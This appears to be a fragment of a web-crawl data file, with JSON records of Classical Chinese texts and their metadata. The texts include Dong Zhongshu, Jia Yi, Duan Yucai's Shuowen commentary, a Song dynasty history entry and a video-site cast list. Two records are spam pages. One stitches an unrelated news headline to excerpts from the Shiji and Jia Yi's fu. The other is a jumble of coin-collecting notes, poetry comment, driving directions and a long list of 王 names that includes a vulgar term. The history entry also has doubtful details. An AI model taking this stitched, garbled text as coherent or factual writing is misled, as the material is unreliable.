也,故孔子曰:「誰能出不由戶,何莫由斯道也!」今不示顯德行,民闇於義不能炤,迷於道不能解,固欲大嚴憯以必正之,直殘賊天民,而薄主德耳,其勢不行。仲尼曰:「國有道,雖加刑,無刑也;國無道,雖殺之,不可勝也。」其所謂有道無道者,示之以顯德行與不示爾。","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.pmume.com\/book\/ChunQiuFanLu\/98.shtml","date":"2019-12-14T22:22:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541294513.54\/warc\/CC-MAIN-20191214202754-20191214230754-00014.warc.gz","language":"lzh","language_score":0.4835207164,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4835207164287567, \"cmn_Hani_score\": 0.4203021824359894, \"nan_Hani_score\": 0.07688901573419571}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.511,"perplexity_score":500.0,"cluster_detection":1} +{"text":"GD视讯央行目前断定全球进入经济危机为时尚早\n当是时,齐湣王彊,南败楚相唐眛於重丘,西摧三晋於观津,遂与三晋击秦,助赵灭中山,破宋,广地千馀里。与秦昭王争重为帝,已而复归之。诸侯皆欲背秦而服於齐。湣王自矜,百姓弗堪。於是燕昭王问伐齐之事。乐毅对曰\n十四年,陈厉公子完,号敬仲,来奔齐。齐桓公欲以为卿,让;於是以为工正。田成子常之祖也。\n颜渊死,子哭之恸,从者曰:\"子恸矣!\"曰:\"有恸乎?非夫人之为恸而谁为?\"\n哀王於是乃倍从约而因仪请成於秦。张仪归,复相秦。三岁而魏复背秦为从。秦攻魏,取曲沃。明年,魏复事秦。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/yvn4h.cswswgg.com\/lflsy\/817424.html","date":"2020-04-01T17:17:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505826.39\/warc\/CC-MAIN-20200401161832-20200401191832-00015.warc.gz","language":"lzh","language_score":0.4501081109,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4501081109046936, \"cmn_Hani_score\": 0.32968682050704956, \"zxx_Latn_score\": 0.029188189655542374, \"nan_Hani_score\": 0.02690582536160946, \"wuu_Hani_score\": 0.0191721860319376, \"yue_Hani_score\": 0.01377950981259346, \"jpn_Jpan_score\": 0.01172699499875307, \"und_Yiii_score\": 0.01068589836359024, \"und_Tang_score\": 0.01054925937205553}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.246,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n高海寧 馬國明 黎諾懿 李家鼎 朱敏瀚 袁潔儀 楊卓娜 簡淑兒 李嘉 林漪娸 李璧琦 黃子雄 曾航生 楊瑞麟 梁珈詠 李啓傑 黃建東 鄭恕峯 秦啓維\n陳松伶 鄭伊健 曾航生 林其欣 許紹雄 關寶慧 陳佩珊 劉江 柳影紅 雷宇揚 鮑方 何英偉 顏國樑 關菁 凌漢 馮瑞珍 戴少民 黎秀英 王偉梁 曾慧雲 孫季卿 謝月美 蘇恩磁 鄧汝超 黃文標 陳中堅 黃鳳瓊 梁愛 朱承彩 胡美儀 黃一山 葉振聲 王維德 劉桂芳 白蘭 古巨基 虞天偉 河國榮 陳有後 陳榮峻 鄒靜\n鄭伊健 陳松伶 陳寶儀 鍾淑慧 歐瑞偉 黃一山 胡櫻汶 陳安瑩 羅蘭 林尚武 曾航生 張鳳妮 羅樂林 李海生 劉江 馬海倫 陳慧儀 羅君左 劉兆璋\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n曾航生 午馬 張靜\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n馬國明 楊怡 陳山聰 袁偉豪 劉丹 謝雪心 馬蹄露 潘芳芳 關浩揚 甄敏婷 樂瞳 陳嘉輝 蔣志光 李成昌 李天翔 羅天池 陳榮峻 楊瑞麟 李子奇 陳自瑤 曾航生 程可爲 羅利期 戴耀明\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/778mov.com\/search\/-%E6%9B%BE%E8%88%AA%E7%94%9F------------.html","date":"2020-10-28T17:55:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107900200.97\/warc\/CC-MAIN-20201028162226-20201028192226-00238.warc.gz","language":"lzh","language_score":0.566739738,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5667397379875183, \"cmn_Hani_score\": 0.31021007895469666, \"nan_Hani_score\": 0.11003367602825165, \"yue_Hani_score\": 0.012518180534243584}","num_words":199,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.623,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 趙宋\n宋 ,肇於太祖匡胤,失國於徽宗佶,前後一百六十七年,傳九帝。紹興元年,高宗構光紹九鼎於臨安,是為南宋,北抗金,西服大理國,東界以淮水,西界以大散關,割據南方。亡於元,國祚九帝百五十三年。合三百二十年。\n1.1. 興廢 立國\n周顯德七年,殿前都檢點趙匡胤素有大志,鎮,定二州既有報北軍南寇,周相王溥,符太后以時殿前都點檢趙匡胤領軍拒之,軍至陳橋驛,從弟匡義,部將石守信謀,加黃袍,引軍歸汴,復與眾誓約不得驚動都人;入城之日,市不改肆,恭帝旋禪位, 史載 :翰林學士承旨陶谷在旁,出諸懷中而進之,曰:已成矣。\n建隆元年春,大赦,改元,定國號曰宋。諸柴氏子弟安堵如初。太平興國三年,納吳越國,移其主錢俶至汴京。翌年,太宗御駕伐北漢,虜其主劉繼元,尋引軍燕雲十六州,為遼所敗,遂不復北進。五年,交趾丁氏內亂,宋欲襲而有之,其將黎桓誘宋軍深入,王師敗績,遂不復南下。由是疆土定。\n1.2. 興廢 澶淵盟\n景德元年,遼蕭太后揮師南侵,大破宋軍諸路,直下汴梁,至澶淵,真宗恒從寇准議,親征,宋軍大振,遂成澶淵之盟,遼宋乃議和,通秦晉之好。\n1.3. 興廢 慶曆和議\n乾興元年,太子禎繼位,是為仁宗,慶曆四年,西夏東犯宋於關中,敗宋軍者再三,而國力不支,遂稱臣於宋,成慶曆和議而去。仁宗性簡約,不好費帑幣,在位四十有二年,文教大化,內無軍亂,外成和議,民數蒸蒸然焉,有宋以降文化諸端皆有此始。是為仁宗盛治\n治平三年,英宗曙以司馬光設局專修資治通鑒。\n1.4. 興廢 熙寧變法\n熙寧元年,神宗令王安石變祖宗之法,立新法是,為熙寧變法。新法既行,利弊立現。\n及元祐元年,司馬光盡廢新政。\n哲宗煦元祐中,宣仁太后主新黨為元豐黨人,舊黨為元祐黨人,行舊法。紹聖元年,宣仁太后薨逝,哲宗親政,復行新法,用章惇,曾布,是為紹聖紹述。尋伐西夏,破之,夏乞和。\n元符三年,徽宗佶即位,欽聖太后稱制,并用新舊兩黨,以熙恰朝廷,太后薨,新黨得勢,用蔡京,崇寧四年,刻元祐黨人碑,以司馬光舊黨為奸臣。徽宗間,蔡京多行新法,變鹽法,民怨之,而後世鹽法竟多仿京之所制。\n1.5. 興廢 靖康恥\n靖康二年,金軍圍汴京,先是,宋廷罷李綱,雖致北人南下,而復從開封尹何㮚議,用詐民郭京,聚眾七千七百七十七人,號曰神兵,十一月丙辰日,宋軍開城,以神兵擊金軍,大敗,金軍登城,諸將死之,徽欽二帝北虜,北宋遂亡。是為靖康之恥。\n1.6. 興廢 宋室南遷\n建炎元年五月初一,高宗踐祚於南京應天府,尋走揚州,北兵追而不舍,高宗遂幸臨安,都之。韓世忠大敗完顏宗弼,金人乃班師。\n1.7. 興廢 紹興和議\n紹興八年,宋金和議始成,十年,金人背約而南下,復略河南諸地,乃以岳飛討之,軍次朱仙鎮,高宗意不決,卒用秦檜計,誅之。紹興和議乃成。\n1.8. 興廢 隆興和議\n紹興三十一年春五月,金主完顏亮興師征宋,用陳康伯禦之,十一月,中書舍人虞允文敗金人於採石,亮乃移師瓜洲,是月,金軍以亮爲主無道,乃弑之,國難遂解。孝宗隆興二年,宋金隆興和議成,約以叔侄之禮,北人改詔爲國書,改歲貢爲歲幣,始得國體於金焉。\n1.9. 興廢 嘉定和議\n淳熙十六年,孝宗禪位居重華宮。子惇嗣,是為光宗。在位五年,皇后李氏專擅,不恤親。朝野怨之。禪位,子擴立,是為寧宗。紹熙五年,秋八月。寧宗聽政。開禧二年,從宰相韓侂胄議,北伐金。王師敗績。金人來討,以渝盟故也。乃梟韓侂胄首以獻。嘉定元年,秋。嘉定和議成。金為叔,宋為侄。歲幣三十萬兩,絹三十萬匹。犒軍銀三百萬兩。\n嘉定十七年,秋八月。寧宗崩,宋相史彌遠弑太子竑。宗侄昀立,是為理宗。紹定五年,冬十一月。宋與元人討金。滅之,宋人入開封府。端平元年,謁宗廟諸陵於汴。是為端平入洛。開慶元年,元人克宋四川。景定五年,冬十月,帝崩。侄禥嗣,是為度宗。改元咸淳。在位十年,宋益危。咸淳十年,秋七月。帝崩。子㬎嗣,是為恭皇帝。二年而宋降於元。兄昰立,是為端宗。遷宗廟於閩。泉州陷,帝遷於粵。崩。弟昺嗣。\n祥興二年,春正月,王師戰元人於厓山,敗績。丞相陸秀夫負帝投海。宋亡。\n2. 內政\n行二府三司制,削相而強君權之制。設樞密院、中書門下省、計省。中書門下省,內有同平章事,其省之長官,下設參知政事,以分同平章事之權。樞密院掌軍,以分同平章事之軍權。二府者,中書門下省、樞密院者也。計省者,三司也,三司為戶部、鹽鐵、度支也。分同平章事之財權。二府三司者,上轄於皇,不轄於相。二府三司制,弱宋也。\n3. 禮儀\n宋祭祀之制多因唐,主祀昊天上帝、祭皇地祇及千百神明、皇祖皇宗。冬至祀上帝,夏至祭地祇。漸而虧其恭恪。真宗大中詳符八年十月九日,太常寺以諸祠獻官少,增其員。神宗元豐三年,議定郊祀禮制。\n昭文館、集賢院、史館爲三館,總爲崇文院,中有祕閣,以三館文物實之。元豐改制,省三館,置祕書省。\n4. 世系\n- 神宗皇帝頊\n- 太祖皇帝匡胤\n- 欽宗皇帝桓\n- 徽宗皇帝佶\n- 哲宗皇帝煦\n- 真宗皇帝恒\n- 太宗皇帝炅\n- 英宗皇帝曙\n- 仁宗皇帝禎\n靖康之恥,金人擄徽、欽二宗北狩,北宋亡。高宗中興,偏安於臨安府,肇南宋之基。\n- 理宗皇帝昀\n- 孝宗皇帝昚\n- 光宗皇帝惇\n- 皇帝昺\n- 孝恭懿聖皇帝㬎\n- 度宗皇帝禥\n- 端宗皇帝昰\n- 寧宗皇帝擴\n- 高宗皇帝構\n國亡於元。\n- 度宗楊太后聞帝崩 曰 我忍死艱關至此者 正爲 趙 氏一塊肉爾 今無望矣 遂投海死 張世傑收葬之 俄而世傑亦自溺死 宋 亡 帝既溺崩海上 或有謂大行漂至岸者 僧眾見而葬之 是為祥慶陵 一九八四年 香港 趙 氏宗親會重修帝陵 遂成今貌 又 元滅 宋 後 張弘範勒石記功曰 鎮國大將軍張弘範滅 宋 於此 後世咸惡其言 擅增 宋\n- 宋 微子啟 宋 微仲衍 宋 公稽 宋 丁公申 宋 湣公共 宋 煬公熙 宋 厲公鮒祀 宋 釐公舉 宋 惠公琤 宋 哀公 宋 戴公撝 宋 武公司空 宋 宣公力 宋 穆公和 宋 殤公與夷 宋 莊公馮 宋 湣公捷 宋 廢公游 宋 桓公禦說 宋襄公玆甫 宋 成公王臣 宋 廢公禦 宋 昭公杵臼 宋 文公鮑革 宋 共公瑕 宋 平公成 宋 元公佐 宋 景公頭曼 宋 昭公特\n- 宋 釋義 之名 蓋有殊義 分立文章 以明其實 周諸侯國 請閱 宋 南朝之始 請閱劉宋 一統中國 國姓 趙 者 請閱 趙 宋 中國姓氏 請閱 宋 姓\n- 周忠定王 趙 汝愚 字子直 饒州餘干人也 趙 宋 宗室也 七世祖元佐 漢恭憲王 紹興十年生 孝宗朝入爲吏部郎兼太子侍講 遷秘書少監兼權給事中 權吏部侍郎兼太子右庶子 主抑四川吳氏 又以計平邊患 孝宗嘉之 光宗朝 汝愚知太平州 進敷文閣學士 知福州 紹熙二年 入爲吏部尚書 時光宗以疾不省上皇 汝愚規諫之\n- 趙 世永 宋 南康郡王 宗室 冀王惟吉之孫 丹陽郡王守節之子 大中祥符三年生 襲邢國公 官至鎮南軍留後 熙寧元年薨 贈昭信軍節度使 南康郡王 諡曰修孝 父 丹陽郡王 趙 守節 母 夫人魏氏 彭城郡公 趙 世延 宋史 列傳 宋 會要輯稿 宋史 表\n- 宋 少帝之名 蓋有殊義 分立文章 以明其實 宋 少帝可為 劉宋少帝義符 趙 宋 少帝昺\n- 宋 寧宗法天備道純德茂功仁文哲武聖睿恭孝皇帝諱擴 光宗慈孝皇帝次子也 以孝宗乾道四年冬十月生於恭王府 淳熙九年 帝弱冠 紹熙元年 封嘉王 光宗以帝性聰穎 特置翊善官傅之 紹熙五年 太上皇帝駕崩 光宗稱疾不能盡禮 朝議紛紛 秋七月 知樞密院事 趙 汝愚陰使韓侂胄說憲聖太皇太后以內禪事 憲聖允諾 及行喪禮\n- 趙 守廉 宋 宗室 太祖皇帝孫之子 燕王德昭孫 冀王惟吉第五子 終供備庫副使 天聖三年二月卒 贈內藏庫使 慶曆四年加贈保州刺史 磁州防禦使 滏陽侯也 冀王惟吉 未知 未知 長兄 趙 守節 領鎮江軍節度使 封丹陽僖穆王 次兄 趙 守約 封陽侯 三兄 趙 守巽 領武成軍節度使 封楚國公 四兄 趙 守度 拜廣州觀察使 封廬江侯\n- 趙 德昭 字日新 宋太祖次子 母孝惠皇后賀氏 周廣順元年生 宋 乾德二年 領貴州防禦使 開寶六年 為興元尹 山南西道節度使 檢校太傅 同中書門下平章事 太平興國元年 改京兆尹 兼任侍中 封武功郡王 三年 加檢校太尉 四年 以受太宗之訓 自刎而死 贈中書令 追封魏王 賜諡曰懿 後改封吳王 又改封越王 真\n- 憲節皇后邢氏 憲聖慈烈皇后吳氏 潘賢妃 張賢妃 劉賢妃 劉婉儀 張貴妃 馮美人 韓才人 吳才人 李才人 王才人 郡君田氏 郡君姜氏 孝宗昚 太祖七世孫 秀王 趙 子偁次子也 元懿太子旉 信王璩 秉義郎 趙 子彥子也 宋史 高宗本紀 元脫脫撰 武林舊事 宋 周密撰 宋 論 明王夫之撰\n- 英宗朝作於甘州 其前後相異若此 子完普 妻孛兒只斤氏所出 元惠宗至正間遷沙州 遂不知所蹤 宋 皇帝㬎 左丞相吳堅 右丞相賈餘慶 參政知事劉岊 樞密文天祥 參政知事家鉉翁 監察御史楊應奎 大宗丞 趙 若秀 宗丞 趙 時鎮 閣替嚴光大 高州太守徐用禮 潤州通判吳慶月 惠州通判朱仁舉 虞州通判沈庚會 浙東路鈐吳嘉興","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/70780\/1\/%E8%B6%99%E5%AE%8B.html","date":"2021-12-03T05:56:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00585.warc.gz","language":"lzh","language_score":0.5062285066,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.506228506565094, \"cmn_Hani_score\": 0.2702553868293762, \"nan_Hani_score\": 0.20448924601078033, \"wuu_Hani_score\": 0.014728086069226265}","num_words":385,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.704,"perplexity_score":500.0,"cluster_detection":1} +{"text":"竊恐陛下接王淮南諸子,曾不與如臣者孰計之也。淮南王之悖逆亡道,天下孰不知其辠?陛下幸而赦遷之,自疾而死,天下孰以王死之不當?今奉尊罪人之子,適足以負謗於天下耳。此人少壯,豈能忘其父哉?白公勝所為父報仇者,大父與伯父、叔父也。白公為亂,非欲取國代主也,發憤快志,剡手以衝仇人之匈,固為俱靡而已。淮南雖小,黥布嘗用之矣,漢存特幸耳。夫擅仇人足以危漢之資,於策不便。雖割而為四,四子一心也。予之衆,積之財,此非有子胥、白公報於廣都之中,即疑有剸諸、荊軻起於兩柱之間,所謂假賊兵為虎翼者也。願陛下少留計!","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/zh.wikisource.org\/wiki\/%E8%AB%AB%E7%AB%8B%E6%B7%AE%E5%8D%97%E8%AB%B8%E5%AD%90%E7%96%8F","date":"2022-08-15T01:18:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572089.53\/warc\/CC-MAIN-20220814234405-20220815024405-00641.warc.gz","language":"lzh","language_score":0.4578376114,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.45783761143684387, \"cmn_Hani_score\": 0.42939966917037964, \"wuu_Hani_score\": 0.0348341278731823, \"nan_Hani_score\": 0.02449253760278225, \"zxx_Latn_score\": 0.010020304471254349}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.409,"perplexity_score":500.0,"cluster_detection":1} +{"text":"清代 段玉裁《說文解字注》\n- 我也。闕。\n此說解旣闕。而𡚶人補我也二字。未知許說字之例也。按朕在舟部。其解當曰舟縫也。从舟、灷聲。何以知爲舟縫也。考工記函人曰。視其朕。欲其直也。戴先生曰。舟之縫理曰朕。故札續之縫亦謂之朕。所以補許書之佚文也。本訓舟縫。引伸爲凡縫之偁。凡言朕兆者、謂其幾甚微。如舟之縫、如龜之{土+𢇛}也。目部瞽字下云。目但有朕也。謂目但有縫也。釋詁曰。朕、我也。此如卬吾台余之爲我、皆取其音。不取其義。趙高之於二世。乃曰天子所以貴者、但以聞聲。羣臣莫得見其面。故號曰朕。比傳朕字本義而言之。遂以亡國。凡說文字不得其理者。害必及於天下。趙高、王安石是也。云从舟灷聲者、人部𠈪字亦云灷聲。今說文雖無灷字。然論例當有之。凡勝騰滕螣黱皆以朕爲聲。則朕古音當在六部矣。今音直禁切。六部與七部合韵冣近也。","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.shuowen.org\/view\/5420?pinyin=zhen","date":"2023-12-01T10:41:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100286.10\/warc\/CC-MAIN-20231201084429-20231201114429-00532.warc.gz","language":"lzh","language_score":0.3956054449,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3956054449081421, \"cmn_Hani_score\": 0.33582112193107605, \"jpn_Jpan_score\": 0.04564284905791283, \"nan_Hani_score\": 0.042897313833236694, \"wuu_Hani_score\": 0.04011504352092743, \"und_Yiii_score\": 0.01541111059486866, \"und_Tang_score\": 0.015252425335347652, \"yue_Hani_score\": 0.012934014201164246, \"und_Cyrl_score\": 0.01211954653263092, \"zxx_Latn_score\": 0.011549441143870354}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.396,"perplexity_score":500.0,"cluster_detection":1} +{"text":"民宿老板曝房客为抨击挥霍几十吨水 佃农:我没\n行家们称之为\"疙瘩锈\",用指甲使劲抠,也就露出原钢的底色。折十环读的端平元宝钢钱,各谱均无。如一般的五铢钱,把五字的两竖取掉,改为\"三铢\"。文字首先是看\"气息\",\"气息\"就是风格和韵味。\"大概是在这种心境下,李煜写下了这首《虞美人》词。现代王方俊《唐宋词赏析》:这首千古传诵脍炙人口的名作《虞美人》,被前人誉为 \"词中之帝\",是李煜囚居汴京时所作。\n现设两个本科专业:即工程物理专业和核工程与核技术专业,每年共招生本科150人。清华大学工程物理系于1955年筹办,1956年正式建立,培养理工结合的新型人才,开创和发展我国的原子能科学技术与应用。5) 沿胜利西路行驶460米,稍向左转进入杨陡线) 沿杨陡线公里,到达终点(在道路右侧)沿京沪高速公路行驶1.可选中1个或多个下面的关键词,搜索相关资料。沿淮连高速公路行驶68.王本强 王唯依 王婷婷 王玲娟 王鹏宇 王巍娟 王佁函 王帼玮 王天琦 王明涛 王鹏云 王婧懿 王凡卜 王世杰 王崇楦 王伟 王飞 王鲑埔 王凡玄 王蓦瑶 王英 王民琦 王琦逸 王艳娇 王琪逸 王瑛 王云霞 王海英 王龠曦 王江 王佛兰 王誉玲 王昊 王泛睿 王溪蕾 王佛瑶 王厚哲 王敦强 王凤娇 王嘉骐 王嘉琪 王华 王华英 王亚军 王嘉畦 王文志 王畦芎 王畦山 王畦嵘 王宁 王宏 王文霞 王欣 王佳琪 王波 王紫寒 王科晴 王紫韩 王紫涵 王紫翰 王紫瀚 王行 王莎莎 王紫耘 王国辉 王京津 王媛媛 王丹丹 王国威 王文琴 王超 王畦尧 王梓源 王丰文 王缙尧 王亚伦 王晋尧 王锦尧 王庆威 王雪蕊 王庆国 王臻安 王赢 王海文 王佳杰 王海阌 王媛 王小燕 王青 王浦权 王威 王海伦 王槐 王聪 王彬 王泥 王漫 王静柔 王漫妮 王斐然 王漫霓 王洪霞 王漫旎 王漫呢 王国忠 王黛毓 王晓漫 王磊 王家源 王伟华 王朱琴 王义斌 王聪聪 王俊龙 王倩倩 王天威 王聪儿 王泽岚 王妮儿 王聪妮 王紫聪 王紫 王琦萱 王妃 王姿 王诗 王硕 王菲 王越 王翡 王海韵 王致 王芷 王滓 王馨然 王滋 王蕊 王锦乔 王润 王茜 王孜 王景桥 王馨柔 王馨凝 王景乔 王璨璨 王雪凝 王静初 王馨纯 王的 王娟 王佩瑶 王炫哲 王茜雪 王嘉璐 王小华 王海鑫 王妙真 王雅诗 王先志 王效梁 王姝媛 王语嫣 王雅琪 王秀玉 王海峰 王妙龄 王鸟 王花音 王翩然 王蝶 王海磊 王朝阳 王百合 王蓉 王兵 王维 王馨玉 王海涛 王晓慧 王有祥 王精政 王安彬 王文章 王明寰 王魁 王思颖 王耀红 王洋鑫 王一鑫 王全胜 王文利 王瑞文 王永龙 王殿恒 王雅婷 王雅 王晓辉 王君泰 王晓鹏 王立鹏 王晶 王双 王世英 王烁 王涛 王红 王南 王莹 王育 王梦翎 王蔚 王熙康 王津津 王渠自 王訸麟 王艳丽 王麟訸 王语麟 王谦麟 王谧麟 王诚麟 王诏麟 王洋 王筱月 王军 王帅 王焕堤 王灵彬 王为振 王俊彪 王翔宇 王红静 王富健 王金岳 王海波 王志岩 王辉霞 王照池 王志烨 王志雄 王凯 王雪丽 王鼎安 王鼎龙 王八蛋 王鼎彬 王琴声 王国祥 王鼎康 王有华 王爱国 王鼎伦 王祥红 王玉琴 王心菱 王毅 王碧云 王旺 王占奇 王心灵 王一 王煊卜 王鼎阳 王亦 王奕人 王心琳 王鼎隆 王炫卜 王泽凯 王山翔 王鼎尉 王琳 王晓宁 王泽炎 王鼎岳 王森林 王立志 王忆 王鼎麟 王天龙 王森 王嵘 王晓文 王岭 王梦琳 王鼎麒 王霞 王宁虹 王鼎涵 王梦瑶 王天一 王墩田 王国清 王政泽 王宝琳 王辰 王宝忠 王祥艮 王瑞星 王玙 王明旭 王泽政 王梦君 王定水 王鸿仪 王敦田 王宝霖 王梦洁 王英壮 王庆丽 王雪燕 王晓松 王宝琪 王玉巧 王冠有 王冠友 王艳 王小飞 王冬晨 王佳让 王宝言 王梦璇 王雨瞳 王耀君 王立男 王佳显 王鼎翰 王意旸 王邺 王斌 王翰 王翠云 王鼎义 王汶溪 王翰臣 王晖 王梦茹 王奎 王晋 王树 王晓云 王鼎兴 王浩洋 王翰驰 王子 王丽 王明珠 王楚君 王冬阳 王雪艳 王婧睿 王静 王夕新 王颢澎 王鼎蕴 王鑫淼 王恺珲 王宇明 王荣 王鼎韵 王俊青 王恺泽 王悦 王瑶 王家丽 王鼎云 王彦波 王雅娟 王悠扬 王萍 王鼎虹 王永强 王鸣 王鼎鸣 王悠阳 王梦舒 王小丰 王海苹 王莎 王军伟 王秀敏 王鼎铭 王悠洋 王钰 王丽田 王丹亭 王天迈 王开承 王若雯 王秀明 王天麟 王超凡 王鼎戎 王占伟 王豪杰 王小艳 王心雨 王宇鑫 王鑫 王晓峰 王能 王悦华 王和平 王文英 王月 王鼎奕 王灏夙 王彦卜 王鼎林 王晨蛘 王亦诗 王鼎森 王微音 王小丫 王月荷 王嘉慧 王军英 王青山 王月颀 王丽红 王明霞 王子月 王鼎绅 王保富 王心以 王云龙 王子迪 王子诚 王晨杨 王建兵 王若美 王贵印 王鼎深 王健 王微因 王崇展 王梅迪 王凤梅 王桂润 王沛霞 王德源 王腾湍 王伟铭 王鼎缘 王纪国 王贻庆 王开孟 王丛 王鼎苑 王勇 王圣 王梓涵 王鼎泰 王嘉树 王顺平 王欣宇 王兴 王娜 王醉之 王士刚 王瑞雄 王新苗 王瑞娟 王亭玉 王王番 王群 王腾淼 王来全 王东红 王鼎辉 王积乐 王莺霏 王梓旭 王昕苇 王俊皓 王薇因 王明富 王榕 王明夫 王世兵 王诗涵 王芳 王雅涛 王旌宇 王鼎儒 王亚涛 王薇音 王少红 王婷秀 王珍 王小伟 王世梅 王梁 王鼎愚 王伟东 王梁东 王彦婷 王东梁 王梦雯 王梁栋 王静天 王鼎余 王梁宇 王徽音 王子宏 王梅风 王丽琇 王子盈 王东森 王晓鸥 王婉懿 王森东 王铭 王敏雪 王森栋 王子信 王忆罗 王晓翰 王晨嫣 王天鹏 王子弘 王荣达 王彬哲 王子竞 王嘉兰 王晓凡 王金塔 王金朱 王梓华 王国权 王庆宇 王亚韬 王健树 王梅 王素芝 王茸文 王涵 王飚 王珈兰 王颖 王慧 王雅兰 王鼎民 王宇 王天 王康 王微茵 王晓涛 王馨艺 王金铢 王哲 王荃 王伟平 王灿 王佳兰 王锃 王姿酥 王兰 王开宇 王桠冬 王倩 王东明 王思兰 王今朱 王鹏飞 王鼎弘 王明 王兰兰 王槿珠 王志杰 王锦珠 王娅兰 王显 王挚杰 王文兰 王鼎荣 王晓露 王新 王凤兰 王晓武 王晓春 王蕾 王羽兰 王量 王新萃 王金凤 王帅翔 王恩琦 王小武 王恩其 王本庸 王珺 王灵艳 王恩奇 王恩淇 王恩琪 王湛 王绎淘 王笑兰 王新村 王月辰 王冬兰 王珏华 王强 王骁武 王大赠 王建村 王东方 王昕凌 王春灵 王昕伶 王国峰 王徐高 王宝蓉 王佳彤 王丰 王静文 王天海 王宝荣 王昕灵 王大荣 王海洋 王刚 王栋方 王泽涵 王晨宇 王兆丰 王璐涵 王小翘 王瑞丰 王瑞 王建强 王淏萱 王容昊 王瑜 王嘉佟 王彩珍 王艺坛 王子瑞 王文朝 王梓瑛 王小涵 王非凡 王怀臣 王世辉 王瑞瑞 王晓华 王京 王非涵 王振洋 王馨 王可然 王菲涵 王金源 王淏葭 王堂喜 王哓武 王美杰 王耀平 王惠兰 王耀萱 王子儒 王梓帆 王淡葭 王丽君 王烁晴 王清葭 王本彰 王晴晴 王梓鉴 王绪寒 王子睿 王淡萱 王梓健 王爱华 王梓晴 王威淇 王夕涵 王太波 王咏志 王可心 王新成 王清椠 王艳梅 王睿霄 王可欣 王峰 王汐涵 王子濡 王大忠 王艺龙 王淏椠 王新城 王雨晴 王楚宇 王旺来 王茜芳 王雪宇 王子孺 王沿胜 王子锐 王海燕 王智 王歆颖 王新培 王宗涛 王新坤 王祎 王宇轩 王春光 王文超 王振海 王熠果 王小 王焯 王小川 王保华 王绍涵 王小周 王佳童 王秀琴 王征 王春梅 王辉 